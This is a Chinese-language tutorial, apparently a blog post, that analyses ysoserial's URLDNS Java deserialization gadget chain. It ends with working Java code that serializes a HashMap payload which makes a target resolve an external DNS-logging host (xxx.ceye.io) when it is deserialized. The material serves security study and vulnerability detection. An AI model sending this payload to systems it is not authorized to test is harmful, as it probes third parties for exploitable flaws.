Java 反序列化-2
URLDNS
URLDNS
就是ysoserial
中⼀个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是⼀个可以“利用”的命令,而仅为⼀个URL,其能触发的结果仅仅是⼀次DNS请求。
实际情况中,会有以下好处:
- 使用 Java 内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞
分析
该链最后返回的对象是HashMap
,查看其readObject
方法:
在上图标红处,对key
,即键名计算了hash,跟进:
key 不存在就为0,存在即调用键名的hashCode
方法,该链 payload 中的 key 为java.net.URL
对象,直接跳至该类的hashCode
方法:
hashCode 不等于 -1 则直接返回,因此在构造 payload 时,需要设置 hashCode = -1。当为-1时,调用handler
的hashCode
方法,这里为 URLStreamHandler
类,跟进其hashCode
方法:
这里调用了getHostAddress
方法,继续跟进:
调用InetAddress.getByName(host)
,其作用是根据主机名,获取其IP地址,在网络上其实就是⼀次DNS查询。
调用链
至此,整个 URLDNS 的调用链就是如下:
HashMap->readObject()
HashMap->hash(key=URL)
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName(host)
因此,payload 构造方法就是:HashMap 的 key 为java.net.URL
对象,并且设置该个 URL 对象初始 hashCode 为 -1,这样才会触发重新计算的流程。
payload:
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL u = new URL("http://xxx.ceye.io/");
Class c = u.getClass();
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
// 这里是为了防止在 put 时直接触发 DNS,因为 put 方法中也是同样对 key 做 hash
f.set(u, 777);
hashMap.put(u, "cool");
// 把 hashcode 改为 -1,还原
f.set(u, -1);
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(hashMap);
os.close();